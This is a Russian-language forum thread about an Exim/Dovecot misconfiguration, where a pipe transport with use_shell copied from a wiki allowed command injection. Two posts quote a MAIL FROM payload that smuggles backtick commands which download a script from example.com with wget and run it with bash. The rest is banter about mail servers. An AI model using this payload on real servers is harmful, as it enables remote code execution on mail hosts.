Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Опасная уязвимость при необдуманном использовании связки Exi..., opennews (??), 05-Май-13, (0) [смотреть все] Ай красава 100500, pavlinux (ok), 01:28 , 05-Май-13, (3) +13   // Павлик, а ты чего так сильно обрадовался , AnonuS (?), 01:36 , 05-Май-13, (5) –2   // Ну дык А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, doub, pavlinux (ok), 03:14 , 05-Май-13, (10) +16   // Да, ты прав, это действительно новое слово в науке и технике, свежая струя так с, AnonuS (?), 00:28 , 08-Май-13, (66)   ohh shit address_pipe driver pipe ignore_status return_output use_shell, Аноним (-), 01:44 , 05-Май-13, (6) –1 что вы в фичах понимаете это же так удобно и никаких RMS не нужно , Аноним (-), 02:33 , 05-Май-13, (8) +2 таки проблема на стороне Exim, эхх, опять г-н Сирайнен денег не даст за дырку , Sylvia (ok), 03:03 , 05-Май-13, (9) // Конечно, не даст Дырка-то не его , Аноним (-), 08:33 , 05-Май-13, (13) +2 распространение уязвимости через вики с документацией а что, хорошая идея, koblin (ok), 03:35 , 05-Май-13, (11) +5 // unixway для вирусов, Аноним (-), 09:17 , 05-Май-13, (15) +2 // exim с его вики это не юникс вей, all_glory_to_the_hypnotoad (ok), 12:55 , 05-Май-13, (36) +1 Начинающий почтовик задает вопрос гуру Зачем Exim нужен Dovecot-у , Аноним (-), 08:31 , 05-Май-13, (12) –1 // Не-а Zimbra возьму лучше , Аноним (-), 08:47 , 05-Май-13, (14) Обратный вопрос зачем exim у нужен dovecot Экзим и не зная ничего об довекоте п, robux (ok), 10:42 , 05-Май-13, (23) –1 // Да неужто И РОР IMAP тоже Надо же, как я от жизни отстал , DeadLoco (ok), 10:43 , 05-Май-13, (25) +1 // Представь себе Exim - это SMTP , pavlinux (ok), 12:20 , 05-Май-13, (29) +1 Экзим - это программа , DeadLoco (ok), 12:45 , 05-Май-13, (34) Отмаз не защитан , rshadow (ok), 14:33 , 05-Май-13, (41) +1 Программа - это Здоровье с Еленой Малышевой, а Exim - это MTA Mail ТруЪ Agent, pavlinux (ok), 15:02 , 05-Май-13, (44) +2 Прям, не программа, а какой-то Людовик Четырнадцатый в бинарном представлении , DeadLoco (ok), 23:06 , 05-Май-13, (55) BMW Z4 - машина BMW Z4 в пос Кукуево - понты граничащие с маразмом , pavlinux (ok), 16:27 , 06-Май-13, (60) +1 BMW Z4 в придорожном столбе вследствие неумения обращаться с - источник лулзов, DeadLoco (ok), 18:57 , 06-Май-13, (62) +1 Ваша логика Сталин воевал с Гитлером, поэтому они братья Exim и Dovecot перес, robux (ok), 17:18 , 05-Май-13, (48) –2 MTA вызывает MDA для локальной доставки, где вы API и привязки какие-то увидели , quux (??), 18:57 , 05-Май-13, (49) Ну, очень удобно из экзима обращаться к довекотовскому аутентификатору, например, DeadLoco (ok), 23:15 , 05-Май-13, (56) +1 а вот спорим, что вы сами никогда реальный почтовый сервер не поднимали , Аноним (-), 20:31 , 06-Май-13, (64) Работает конечно, но вот только единый механизм аутентификации и укладки писем в, angra (ok), 20:03 , 05-Май-13, (51) // Укладки _И_ извлечения У всех, кто не пользуется довекотовским ЛДА из МТА, навер, DeadLoco (ok), 23:25 , 05-Май-13, (57) +1 Dovecot не MTA, а exim MTA Ваш К О , анон (?), 12:14 , 05-Май-13, (27) +1 это когда фетчмейл получив с внешнего ящика письмо, отправляет екзиму, например,, kombat (ok), 19:48 , 05-Май-13, (50) Вот поэтому надо самому курить документацию на софт а также основополагающие до, YetAnotherOnanym (ok), 09:29 , 05-Май-13, (16) +3 // Изначально статья с ошибочной опцией была опубликована в 2009 году на официальн, Int (?), 09:49 , 05-Май-13, (20) –1 // Я видел эту статью, но мне хватило мозгов, не тупо скопировать, а розобраться чт, анон (?), 12:57 , 05-Май-13, (37) +2 // Вообще надо быть крайне одаренным эникеем, чтоб скопировать и не обратить вниман, анон (?), 13:02 , 05-Май-13, (38) +1 на официальных сайтах надо давать примеры с патчем Бармина, и только такие чтоб, arisu (ok), 15:21 , 05-Май-13, (46) // Да это и есть бармин в чистом виде, только сильно отложенный Но, думаю, те кто , анон (?), 17:14 , 05-Май-13, (47) Это еще что Мне как-то доводилось переделывать почтовик, настроенный по статье , DeadLoco (ok), 10:35 , 05-Май-13, (22) // Если чо, рут у базы данных root в etc passwd, pavlinux (ok), 12:23 , 05-Май-13, (30) // Если чо, то в рутовом доступе к БД веселого очень немного , DeadLoco (ok), 12:44 , 05-Май-13, (33) +1 Таких б лванов, тем не менее, просто мечут, как икру Лисяра, в этом отношении, п, Аноним (-), 14:10 , 05-Май-13, (39) +3 Обыкновенные пользователи Они навсех системах одинаковы , rshadow (ok), 14:36 , 05-Май-13, (42) +1 Зато принципом наименьшего сопротивления пользуются все, rshadow (ok), 14:38 , 05-Май-13, (43) +1 Да нет там рута Там есть привилегии и контекст Кстати, для полного счастья, и, pavlinux (ok), 15:07 , 05-Май-13, (45) –1 Так оно у меня так штатно делается уже хрен знает сколько лет , DeadLoco (ok), 22:58 , 05-Май-13, (53) –1 При установке мускля автоматом создается юзер БД root с пустым паролем и полными, DeadLoco (ok), 23:03 , 05-Май-13, (54) ПИН-код на кредитке фломастером не пишешь , pavlinux (ok), 16:29 , 06-Май-13, (61) –1 Неа Я всего лишь пытаюсь донести до общественности простую мысль, что на больш, DeadLoco (ok), 19:13 , 06-Май-13, (63) Ахренеть Вот это скорость Вот это официальный ман на Wiki , Дед Анон (?), 09:37 , 05-Май-13, (17) Есть замечательный проект - Exim4U exim4u org , облегчающий процесс приручения , Drontozaurus (?), 09:45 , 05-Май-13, (18) Смешно Охренено смешно , Int (?), 09:48 , 05-Май-13, (19) +1 Думать своей головой надо , Прохожий (??), 10:07 , 05-Май-13, (21) +3 // И доки читать code EXIM 29 5If this option is set, it causes the command to be p, DeadLoco (ok), 10:42 , 05-Май-13, (24) +1 У меня с EXIM ом знакомство пока как-то по такому алгоритму поставил, посмотрел, vitalif (?), 11:40 , 05-Май-13, (26) –1 // Увы это больше говорит о вас нежели об exim e , quux (??), 12:19 , 05-Май-13, (28) +5 Morris Worm strikes back , Аноним (-), 12:30 , 05-Май-13, (31) прыщеглазики опять прощляпили , Аноним (32), 12:37 , 05-Май-13, (32) // Прыщебл дам просто западло академическое образование получать Поколение вики, б, Аноним (-), 14:14 , 05-Май-13, (40) // Увы, но уровень знаний преподов в области IT в наших универах зачастую ниже чем , angra (ok), 20:10 , 05-Май-13, (52) +1 как дети чесслово шеллы какие-то, эскейпирование учитесь, как настоящие энтерпр, Михрютка (ok), 12:54 , 05-Май-13, (35) +3 // Нет, Только bash Ленин завещал учиться, но до до джаввы же , Andrey Mitrofanov (?), 23:20 , 06-Май-13, (65) Учитесь как надо local_delivery driver lmtp user mail socket run dove, Аноним (-), 03:02 , 06-Май-13, (58) а как же noexec в tmp , Аноним (-), 13:13 , 06-Май-13, (59) // Редко применяется, так как во многихдистрибутивах во время апгрейда пакетов запу, Аноним (-), 12:45 , 08-Май-13, (67) 3,6,8,9,11,12,16,17,18,19,21,26,31,32,35,58,59

Сообщения

[Сортировка по времени | RSS]

3. "Опасная уязвимость при необдуманном использовании связки Exi..."	+13 +/–
Сообщение от pavlinux (ok), 05-Май-13, 01:28
Ай красава! +100500
Ответить | Правка | Наверх | Cообщить модератору

	5. "Опасная уязвимость при необдуманном использовании связки Exi..."	–2 +/–
	Сообщение от AnonuS (?), 05-Май-13, 01:36
	> Ай красава! +100500 Павлик, а ты чего так сильно обрадовался ?
	Ответить | Правка | Наверх | Cообщить модератору

	10. "Опасная уязвимость при необдуманном использовании связки Exi..."	+16 +/–
	Сообщение от pavlinux (ok), 05-Май-13, 03:14
	Ну дык: > MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, double-free, скукотища...  :D
	Ответить | Правка | Наверх | Cообщить модератору

	66. "Опасная уязвимость при необдуманном использовании связки Exi..."	+/–
	Сообщение от AnonuS (?), 08-Май-13, 00:28
	> Ну дык: >> MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com > А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, double-free, скукотища... >  :D Да, ты прав, это действительно новое слово в науке и технике, свежая струя так сказать... :-)))
	Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема